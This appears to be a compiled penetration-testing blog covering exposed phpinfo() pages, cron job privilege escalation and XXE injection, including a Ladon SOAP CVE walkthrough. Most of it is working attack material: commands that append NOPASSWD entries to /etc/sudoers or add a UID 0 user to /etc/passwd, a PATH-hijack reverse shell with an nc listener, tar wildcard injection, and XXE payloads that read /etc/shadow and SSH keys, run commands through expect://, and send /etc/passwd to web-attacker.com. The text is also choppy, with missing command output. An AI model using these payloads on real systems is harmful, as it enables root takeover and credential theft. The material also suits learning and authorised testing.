  • Details of the PHP configuration.
  • PHP compilation options
  • PHP extensions
  • Internal IP addresses.
  • Server environment variables.
  • Loaded PHP extensions and their configurations.
  • HTTP headers

This information can help an attacker to gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.

Some methods also related to phpinfo

  • phpinfo() Memory Limit
  • phpinfo() Upload Max Filesize
  • phpinfo() PHP Magic Quotes Gpc is On
  • phpinfo() Open Base Directory Is Disabled
  • PHP post_max_size show phpinfo()



Using Nmap NSE script (http-enum), we can discover if in root directory there is the presence of execution of phpinfo()

  • nmap -sV --script http-enum -p 30455


1. Using Nikto we can also verify the existence of phpinfo()

  • nikto -h

Contents of PHPInfo

In this case by accessing the exposed phpinfo(),, we can gather the following:

1. System info

2. PHP Version

3. Some commands and system directories

4. PHP configuration directories

5. PHP features status

6. Curl information

7. Local server time

8. Json support

9. MySQL

10. OpenSSL

11. XML

12. Environment

13. HTTP details

14. Server Hostname

15. Networking

16. PHP script file location


These are recommendations:

  • Disable phpinfo() function on the application’s PHP configuration.
  • Remove all the pages that call phpinfo() function.







Exploiting the Cron Jobs Misconfigurations (Privilege Escalation)

Cron is a job scheduler in Unix-based operating systems. Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server.

They’re most commonly used for sysadmin jobs such as backups or cleaning /tmp/ directories and so on. The word Cron comes from crontab and it is present inside /etc directory.

By default, Cron runs as root when executing /etc/crontab, so any commands or scripts that are called by the crontab will also run as root.

How to set up a cron job in Linux? - Nil Tutorials

For example: Inside crontab, we can add the following entry to print apache error logs automatically in every 1 hour.

  • 1 0 * * * printf "" > /var/log/apache/error_log

This automated repeated task is known as cronjob and a table or file that maintain this cronjob is known as crontab. Linux maintains separate crontab for each and every user.

How Does Cron Work?

The behavior of the Cron utility can be fully customized. You can configure the behavior of Cron by editing files called “crontabs”. Unix keeps different copies of crontabs for each user. You can edit your own user’s crontab by running:

  • crontab -e

You can also list the current cronjobs for your user by running:

  • crontab -l

In Linux systems, the location for the system-wide crontab is /etc/crontab. Cron will run as the root user when executing scripts and commands in this file.

Files in /etc/cron.d are treated the same way as /etc/crontab. They are effectively “crontab snippets”. Their benefit is that they can be added or removed without modifying the central /etc/crontab file.

Each line starting with * or some number is considered as a cron job or task. It is the magic line that cron service will execute.

When to perform cronjob?

First five numeric value represents the time of execution of the cronjob. Now let’s understand the five numeric value.

  • Minute – First value represents minute ranges between 0 to 59 and * means any minute.
  • Hour – Second value represent Hour ranges between 0 to 24 and * means any hour.
  • Day of month – Third value represents day of month ranges between 1 to 31 and * means any day.
  • Month – Fourth value represents month ranges between 1 to 12 and * means any month.
  • Day of week – Fifth value represents the day of week ranges between 0 to 6 starting from Sunday and * means any day of week.

By whom privileges does the task perform?

The value Just after the numeric value represents the user whose privileges will be used to accomplish the task.

Which command to be execute?

After defining the user we need to provide the command to be executed at that time.

I hope we found our answer and now we will learn to escalate privileges through cronjob. For better understanding i am dividing further blog into two parts Enumeration and Exploitation.

Crontab syntax

All crontabs follow the same syntax. Each line specifies a command to be run and the time at which it should run.


this crontab entry tells the system to “cd” into the directory where I store security scripts and run the “scan.sh” shell script every day at 9:30 pm. (The wildcard character “*” means “all”.)

  • 30 21 * * * cd /home/vry4n/scripts/security; ./scan.sh

And in system-wide crontabs, you can also specify the user to run the command as:

  • * * * * <username> <command to be executed>

Running scripts in batches

It is customary to place scripts that the system-wide crontab uses in the

  • /etc/cron.d
  • /etc/cron.hourly
  • /etc/cron.daily
  • /etc/cron.weekly
  • /etc/cron.monthly directories.

You can then batch run the scripts within the directories. For example, the following line in the crontab tells Cron to run all scripts in the /etc/cron.hourly directory as root every hour.

  • 01 * * * * root run-parts /etc/cron.hourly

Cronjob Enumeration

The cronjob enumeration includes, finding and understanding the task that cronjob was assinged. There are following types of cronjob that we have to find.

User based Cronjob

In Linux each and every user can perform cronjobs. Each and every user maintains a crontab for their cronjobs. The location of the crontab of each user is in the following directory.

  • /var/spool/cron/crontabs/'crontab_of_the_each_user_named_as_their_username'

Note: The above directory is only accessible through root user. Normal user can check their cronjobs using command.

  • crontab -l

Application based Cronjob

Certain application in Linux uses cronjob to perform their task. All the cronjobs that are created by any application is placed in the following directory.

  • /etc/cron.d


Anacron is defined as the cron with ability to performed the task that are skipped due to some reasons.This type of cronjob are placed in the following directory.

  • /etc/anacrontab

Pro tip : If you want to know about the cronjobs of the other user then you can use the tool pspy(pspy32 for 32 bit and pspy64 for 64bit). (https://github.com/DominicBreuker/pspy)

1. We can read the contents of /etc/crontab to see the actual scheduled tasks

Example 1 (this is what an empty file shows as)

  • cat /etc/crontab

Example 2 (this is what a crontab with an existing entry looks like

  • cat /etc/crontab

2. Using LinEnum or LinPEAS Script we can also gather info about cron jobs. This what what normal output should show

3. Make sure the service is running

  • service cron status


1. Editing Script File

When a script executed by Cron is editable by unprivileged users, those unprivileged users can escalate their privilege by editing this script, and waiting for it to be executed by Cron under root privileges.

1. In this example we will use script.sh that will delete every file/directory within /tmp directory

  • vi script.sh
  • cat script.sh

2. Crontab has been set to run every minute as root

  • cat /etc/crontab

3. Using pspy we can see this task running every minute

4. Looking at the script.sh file permissions we can see that we have READ/WRITE permissions

  • cd /
  • ls -l

5. I’ll modify the script, to add elevated privileges to my current user

  • echo "vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

6. Having the ability to run all commands (ALL=ALL) without password (NOPASSWD:ALL) allow us to run a new bash process as root, using sudo command

  • sudo bash

Note. Make sure you append the correct line to the /etc/sudoers file. Otherwise the file could crash


they can gain root access by adding a new root user to the /etc/passwd file. In this command below, “0” is the UID of the root user, so adding a user with the UID of “0” will give that user root privileges. This user will have the username of “vk9sec” and an empty password:

  • echo "vk9sec:x:0:0:root:/root:/bin/bash" >> /etc/passwd

2. Missing Absolute Paths

In this scenario, our script can’t be modified, but the crontab file indicates the command doesn’t contain absolute paths.

The Linux environmental path variable allows users to run commands or scripts without having to run their full path. For example, because the “whoami” binary is /usr/bin, which is part of the environmental path variable, users can simply run “whoami” rather than /usr/bin/whoami.

Although this was born as a convenient way to execute commands and scripts, it can become a vulnerability if said commands are run by privileged users.

If a cron job or a script used in a cron job calls a binary or a script without using its absolute path, an unprivileged user could create an arbitrary binary or script with the same exact name, and place it into a directory that is part of the environmental path.

  • cat /etc/crontab

This indicates that the system will go through each path from left to right (PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin). Starting with /dev/shm

1. To elevate privileges we will check upon the permissions on each of these folders, I’ll start with /dev/shm

  • ls -ld /dev/shm

2. I see, we have full privileges, first I’ll try to create a file in there

  • cd /dev/shm
  • echo "Vry4n was here!." > test.txt
  • ls

3. Having the capability to create files allow us the ability to write our own script and name it as the program the crontab is running netstat. For this demo I will create a bash reverse shell.

  • vi netstat
  • cat netstat

4. I will set up a web server to transfer this file into the machine (you could write it manually in the server)

  • python3.8 -m http.server 8080

5. In the server use wget command to download this into the desired location with Write permissions, in this case /dev/shm

  • cd /dev/shm
  • ls -l
  • wget
  • ls -l

6. Start a listener, as per the script I chose to connect to port 4242

  • nc -lvp 4242

7. Now make this file executable in the remote server

  • chmod 777 netstat

8. Wait for the task to execute. After execution, the listener should have a new connection from root

  • whoami

3. Exploiting Wildcards in Commands

Commands can use wildcards as arguments to perform actions on more than one file at a time, also called globbing. When the command is assigned to a cronjob, contains a wildcard operator then attacker can go for wildcard injection to escalate privilege.

Tar has an argument called --checkpoint, which allows to display a “progress” message every time X number of files have been archived. This can be used in concatenation with the --checkpoint-action flag, which allows to execute an action, in form of a binary or script, whenever a checkpoint is reached.

Since the wildcard will execute a given command against all files and folders in the current directory, this can be exploited by adding a --checkpoint=1 file (to enable the checkpoint function) and a --checkpoint-action=exec=/tmp/stef.sh file (to specify the action to perform) which will be effectively treated as arguments when tar comes across them.

1. For this example I will create a schedule task that runs every minute. The task is used to take all logs in /var/log/test_logs directory and compress them into gzip and tar in a file named logbackup,tgz. The resulting file will be saved in /tmp

  • cat /etc/crontab

2. After a minute checking within /tmp, I found the logbackup.tgz file

  • ls -l /tmp

3. Now lets get back to /var/log/test_logs directory and we will create some files to confuse the program, these files start their name with “--” which confuses programs with additional command parameters

  • echo 'echo " vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > test.sh
  • echo "" > "--checkpoint-action=exec=sh test.sh"
  • echo "" > --checkpoint=1
  • ls
  • tar cf archive.tar * # This one is only used to test

4. Once, the automated task is executed, then, check on the result

  • sudo cat /etc/sudoers

5. Having entered the line in /etc/sudoers, we can now test our new privileges

  • sudo su -
  • whoami


If your system uses Cron to automate tasks, make sure that none of the scripts that you run through crontab are editable by unprivileged users, and make sure that your Cron scripts are secure!

NEVER EXECUTE COMMANDS WITH sudo or root user and avoid using SUID binaries in the job.







(XXE) Ladon Framework for Python – XML External Entity Expansion – CVE-2019-1010268

Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

  • ladon-2.7-ctl testserve helloservice.py -p 8000

Note: This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

  • read local files
  • forge server side requests
  • overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

  • The parser can make a request and include the content at the specified URI inside of the XML document.
  • Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version="1.0"?>


[<!ENTITY passwd SYSTEM "file:///etc/passwd">









Vulnerable software versions

Ladon: 0.6.1 - 1.0.4

Versions 0.9.40 and below are affected


1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (https://www.exploit-db.com/exploits/43113)

  • searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>


[<!ENTITY passwd "Vry4n">


<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"




<uid xsi:type=\"xsd:string\">&passwd;</uid>



</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -


1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server using file://

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>


[<!ENTITY passwd SYSTEM "file:///etc/passwd">


<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"





<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>



</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

2. The result of the curl command should be the passwd file in linux

3. In this particular scenario, we noticed a /webdav folder, so we will try to read users file, looking for user/password info

  • We need to search within /var/www/html/webdav/passwd.dav


No remedy available as of November 3, 2017.

Alternative remedy

The Python package defusedxml [2] can be used to monkey patch the code to

prevent XML vulnerabilities. The following workaround can be included in the

code, which prevents exploitation:

import defusedxml









XML external entity (XXE) injection

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to:

  • view files on the application server filesystem
  • interact with any back-end or external systems that the application itself can access.
  • access internal networks
  • scan internal ports
  • execute commands on a remote server (rarely)
  • perform SSRF attacks
  • exfiltrate data out-of-band
  • retrieve data via error messages

Lista de payloads para inyecciones XXE (XML External Entity)

XXE Injection is not limited to Web Applications; anywhere there is an XML Parser (web, host, software), the potential for XXE exists.

How do XXE vulnerabilities arise?

Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server.

  • XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.

Risk Factors

  • The application parses XML documents.
  • Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
  • The XML processor is configured to validate and process the DTD.
  • The XML processor is configured to resolve external entities within the DTD

An application will be vulnerable to XXE attacks, if:

  • a developer configured an XML parser in such a way that it insecurely processes external entities
  • an attacker can directly/indirectly pass compromised data to the parser

What is XML?

XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data.

  • Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history
  • XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.
  • XML is a markup language similar to HTML
  • XML was designed to store and transport data
  • XML was designed to be self-descriptive
  • XML is a W3C Recommendation

XML (Extensible Markup Language) is a very popular data format. It is used in:

  • web services (XML-RPC, SOAP, REST)
  • documents (XML, HTML, DOCX)
  • image files (SVG, EXIF data).

To interpret XML data, an application needs an XML parser (also known as the XML processor).

The following is an example output of a simple web application that accepts XML input, parses it, and outputs the result.

What are XML entities?

XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language.

  • The entities &lt; and &gt; represent the characters < and >. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data.

ENTITYs can be used without the formality of a full .dtd file. By calling DOCTYPE and using square brackets [], you can reference ENTITY tags for use in only that XML file.

Note: Think of it as a variable in programming.

What are XML elements?

Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example:

  • <!ELEMENT stockCheck ANY> Means that any object could be inside the parent <stockCheck></stockCheck>
  • <!ELEMENT stockCheck EMPTY> Means that it should be empty <stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)> Declares that <stockCheck> can have the children <productId> and <storeId>

What is document type definition?

The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. The DTD can be

  • fully self-contained within the document itself (known as an "internal DTD")
  • can be loaded from elsewhere (known as an "external DTD")
  • can be hybrid of the two.

XML files may contain the document type definition (DTD), which describes the structure of an XML file. DTD allows us to define and use XML entities.

DTD files are a special type of XML file that contain information about the format or structure of XML. These DTD files can contain an element called an ENTITY.

  • DTD files can be external or internal to an XML file
  • ENTITYs exist within DTD files
  • ENTITYs can call local system files

What are XML custom entities?

XML allows custom entities to be defined within the DTD.

  • <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Note: This definition means that any usage of the entity reference &myEntity; within the XML document will be replaced with the defined value: "lol".

What are XML external entities?

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

The URL can use the file:// protocol, and so external entities can be loaded from file.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

you can use other protocols besides http such as file.

If an XML parser (reader) processes external entities, this is a security flaw. Below is an XML file that can be used to compromise an application:

What are XML Parameter entities?

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things.

1. the declaration of an XML parameter entity includes the percent character before the entity name:

  • <!ENTITY % myparameterentity "my parameter entity value" >

2. parameter entities are referenced using the percent character instead of the usual ampersand: %myparameterentity;

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:

  • <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.

Exploiting XXE to retrieve files

To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways:

  • Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file.
  • Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

<?xml version="1.0" encoding="UTF-8"?>


The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>


This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value.

Here you have a summary of the steps to take

  • Intercept the vulnerable POST request with a web proxy (Burpsuite, Zap, etc)
  • Add the injected ENTITY tag and &xxe; variable reference.
    • Ensure the &xxe; reference is with data that will be returned and displayed
  • Release the intercepted POST request

Payload Breakdown

  • 1st part : <?xml version="1.0"?> Declaring used XML version .
  • 2nd part : <!DOCTYPE contacts[ Defining that the root element of the document is contacts .
  • 3rd part : <!ENTITY foo Declaring an entity called foo .
  • 4th part : SYSTEM "file:///etc/passwd" The system command is used to declare external entities (from outside the xml document) and it takes a URL as its input .
  • 5th part : <name>&foo;</name> Calling the pre-defined entity which has the content of /etc/passwd .

Interesting files to read

Credentials: passwd is a file that is universally present on Linux operating system.

  • file:///etc/passwd
  • file:///etc/shadow (Feeling lucky)

Hostnames, DNS resolvers and network devices information can give precious information to discover additional assets.

  • file:///etc/hosts
  • file:///etc/resolv.conf
  • file:///proc/self/net/dev : Include public and internal IP

The /proc virtual filesystem include various files describing the current process.

  • file:///proc/self/cwd/FILE : Relative paths are likely to work. file:///proc/self/cwd/ is an alternative to ./.
  • file:///proc/self/cmdline : This virtual file is returning the command and the arguments used to start the process.
  • file:///proc/self/environ : Environment defined in the context of the current process.

There are few files that are containing the system version. These are also files with no special characters (Useful for testing).

  • file:///proc/version
  • file:///etc/lsb-release
  • file:///etc/issue

For testing purpose, it might be interesting to read virtual file with infinite content. The objective of the attacker would be to either do time based detection or create some sort of Denial of Service (DOS).

  • file:///dev/urandom & file:///dev/zero

Extra: Protocols to use

Here is an exhaustive list of protocols that could be useful when exploiting XXE.

file: protocol

Access file with relative or absolute path

  • file:///etc/passwd
  • file://C:/Windows/System32/inetsrv/config/applicationHost.config

http: protocol

Nothing surprising here. You can trigger GET request to HTTP service. While it can be a starting point for Server Side Request Forgery (SSRF), the response is not likely to be readable. Most webpages are not perfectly XML valid.

  • https://localhost/phpMyAdmin/

Note: AWS metadata URLs now require a special header. It is unlikely that you will be able to access it with XXE.

ftp: protocol

This protocol allows you to connect to a FTP server to read file (would require to know the exact file location and credentials to authenticate) or exfiltrate data (see the next exercise).

  • ftp://user:password@internal.company.net/file
  • ftp://user:@evil.com

gopher: protocol

Another option for data exfiltration is the gopher protocol. It allows to connect to any server with a TCP with an arbitrary message. The path section of the URL is the data that will be written to the TCP socket. It is rarely available as it requires very old versions of Java.

  • gopher://server/?data

jar: protocol

The jar protocol is a very special case. It is only available on Java applications. It allows to access files inside a PKZIP archive (.zip, .jar, ...). You will see in the last exercise how it can be used to write files to a remote server.

  • jar:file://./archive.zip!config.properties

netdoc: protocol

This protocol is alternative to the file:// protocol. It is of limited use. It is often cited as a method to bypass some WAF blocking for specific string such as file:///etc/passwd.

  • netdoc:///etc/passwd

Example 0 (test entity)

1. This is the most basic for of XXE

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY show "3"> ]>






Example 1

1. for this demo we will use an application that accepts XML data and parses it. The application is included in (https://github.com/vry4n/xxe-tool) . We will download the application in our Linux machine

  • cd /var/www/html/
  • sudo git clone https://github.com/vry4n/xxe-tool.git

2. Start apache service

  • sudo service apache2 start
  • sudo service apache2 status

3. Access http://<IP>/xxe-tool from a web browser


4. Here I can test some XML code, click send

5. The input is parsed

6. We can capture this request with a web proxy, I’ll use BurpSuite

7. Send the request to repeater

8. Test different payloads, I’ll use the basic code that includes the external entities, I encoded it using URL encoding

  • <?xml version="1.0"?>
  • <!DOCTYPE change [
  • <!ENTITY systementity SYSTEM "file:///etc/passwd">
  • ]>
  • <change> <text>&systementity;</text>; </change>

8. We can enter the code directly to the tool

9. The output would be

10. Based on the above example if the XML parser is allowed to parse the external entities an attacker can easily pass any local file system as an entity and the parser will display the content of the file as output.

Example 2

1. If the file “id_rsa” located in /home/<user>/.ssh/ is accessible we could user that to log in as the user.

<?xml version="1.0"?>

<!DOCTYPE change [<!ENTITY systementity SYSTEM "file:////home/vry4n/.ssh/id_rsa">


<change> <text>&systementity;</text></change>

2. The output would be

3. Copy this into a new file

  • vi id_rsa
  • cat id_rsa

4. Change the permissions on this file, then, use it to log in

  • chmod 600 id_rsa
  • ssh -i id_rsa vry4n@

Note: When you are prompted to confirm the connection, type yes and then press Enter. If your SSH key requires a password, enter it when prompted to complete the connection.

Example 3

1. We can also read system file like this

<?xml version="1.0" ?>

<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>


Example 4

1. This example shows an application that accepts XML and parses it as HTML. It uses an external URL to download the data

2. When you click on read this is what is displayed

3. Capturing the request we find that it supports XML

4. We will send this to repeater

5. Now in my local machine, I will set a .xml file and start a web server, so, I can use that as reference for the site.

  • vi test.xml
  • cat test.xml
  • python3 -m http.server 8888

6. Now reference test.xml, and, look for the output on screen

Example 1: request

Example 1: result

Example 2: request & response

7. Confirm external entities are enabled. I will place text (Vry4n again!) and try to print it on screen

  • vi test.xml
  • cat test.xml

8. The result should be our string

9. Now that we know we can call external entities, we will proceed and run it with SYSTEM to read a file

  • vi test.xml
  • cat test.xml

10. The result of this query will be the output of /etc/passwd file

11. This is how it displays in the site

Extract data as base64 (PHP)

XXE have major limitations regarding which file can be read. In general, you can't read non-ASCII characters or special characters that are not XML compatible.

1. This one should be useful to extract a file if the web server is using PHP

<?xml version="1.0" ?>

<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>



2. Decode the whole string, using base64 Linux command

  • echo "<base64>" | base64 -d

Declaring an Element as ANY

1. Here we can start by declaring an element called stockCheck, also we proceed to create an entity after that

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE data [

<!ELEMENT stockCheck ANY>

<!ENTITY file SYSTEM "file:///etc/passwd">






RCE (Remote Code Execution)

1. If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>





Note: With real-world XXE vulnerabilities, there will often be a large number of data values within the submitted XML, any one of which might be used within the application's response. To test systematically for XXE vulnerabilities, you will generally need to test each data node in the XML individually, by making use of your defined entity and seeing whether it appears within the response.

Directory Listing (Java)

In Java, it might be possible to list the contents of a directory via XXE with a payload like:

<!-- Root / -->

  • <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->

  • <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>


1. The attacker can achieve SSRF by making the input to system command an external URL, This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access.

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value.


In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

  • <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Jar protocol

The jar protocol is only available on Java applications. It allows to access files inside a PKZIP file (.zip, .jar, ...).

local file..

  • jar:file:///var/myarchive.zip!/file.txt

remote file..

  • jar:https://download.host.com/myarchive.zip!/file.txt

Behind the scenes

What is happening behind the scenes with the HTTP URL with a remote ZIP? There are in fact multiple steps that lead to the file being extracted.

  • It makes an HTTP request to load the zip archive. https://download.host.com/myarchive.zip
  • It saves the HTTP response to a temporary location. /tmp/...
  • It extracts of the archive.
  • It reads the file.zip
  • It delete temporary files.

Writing files in a temporary directory can help escalate another vulnerability that involves a path traversal (such as local file include, template injection, XSLT RCE, deserialization, etc).

Complement: XSLT RCE

Extensible Stylesheet Language Transformations (or XSLT) is a text format that describes the transformation applied to XML documents. The official specification provides basic transformation. Languages such as Java and .NET have introduced extension to allow the invocation of method from the stylesheet. The Java implementation is more prone to vulnerability being enabled by default. It has the capability to access all class in the classpath.

If you are seeing a feature that allows you to configure an XSLT file in a Java application, remote code execution might be possible.

In the root node, classes (java.lang.Runtime and java/java.lang.String) are imported for future reference. To customize the previous payload, you need to edit the assignment . The touch command can be replaced with any command available on the server.

Note: This vector (XSLT RCE) is not considered an XXE as it focus on a different feature of XML.

Finding and exploiting blind XXE vulnerabilities

Blind XXE vulnerabilities arise where the application is vulnerable to XXE injection but does not return the values of any defined external entities within its responses.

  • You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
  • You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detecting blind XXE using out-of-band (OAST) techniques

You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-of-band network interaction to a system that you control.

  • HTTP: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM ""> ]>
  • DNS: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://vk9-sec.com"> ]>

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.


In this example I will use an application that uses XML to draw

1. I start a webserver using python

  • Python3 -m http.server 7777

2. I use the same SSRF technique just to make sure I get back from the server to my web server

<?xml version="1.0"?>

<!DOCTYPE any [






<link href="https//google.com"></link>




3. As nothing is displayed on screen I would need to check on my server logs

4. I see the requests are coming from, I can also capture traffic from that host using TCPDump

  • sudo tcpdump -i any src

5. Even though nothing is printed on the screen we can say that the command is working as we are getting traffic back to us


1. Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. (use XML parameter entities instead)

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY % xxe SYSTEM ""> %xxe;


2. This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.

Exploiting blind XXE to exfiltrate data out-of-band

Detecting a blind XXE vulnerability via out-of-band techniques is all very well, but it doesn't actually demonstrate how the vulnerability could be exploited. What an attacker really wants to achieve is to exfiltrate sensitive data. This can be achieved via a blind XXE vulnerability, but it involves the attacker hosting a malicious DTD on a system that they control, and then invoking the external DTD from within the in-band XXE payload.

1. An example of a malicious DTD to exfiltrate the contents of the /etc/passwd file is as follows (you can use &#x25; instead of % sign):

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">



This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the file entity within the URL query string.
  • Uses the eval entity, which causes the dynamic declaration of the exfiltrate entity to be performed.
  • Uses the exfiltrate entity, so that its value is evaluated by requesting the specified URL.

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:

  • http://web-attacker.com/malicious.dtd

2. Finally, the attacker must submit the following XXE payload to the vulnerable application:

  • <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>


  • This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD.
  • This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline.
  • The steps defined within the malicious DTD are then executed
  • the /etc/passwd file is transmitted to the attacker's server

Note: This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to appear within the URL. In this situation, it might be possible to use the FTP protocol instead of HTTP. Sometimes, it will not be possible to exfiltrate data containing newline characters, and so a file such as /etc/hostname can be targeted instead.


Steps taken:

  • The client sends the POST request with the injected XML code
  • The server, via the XML parser, parses the XML from top to bottom, reaching the injected ENTITY
  • The server requests payload.dtd from https://evil-webserver.com
  • https://evil-webserver.com responds with payload.dtd
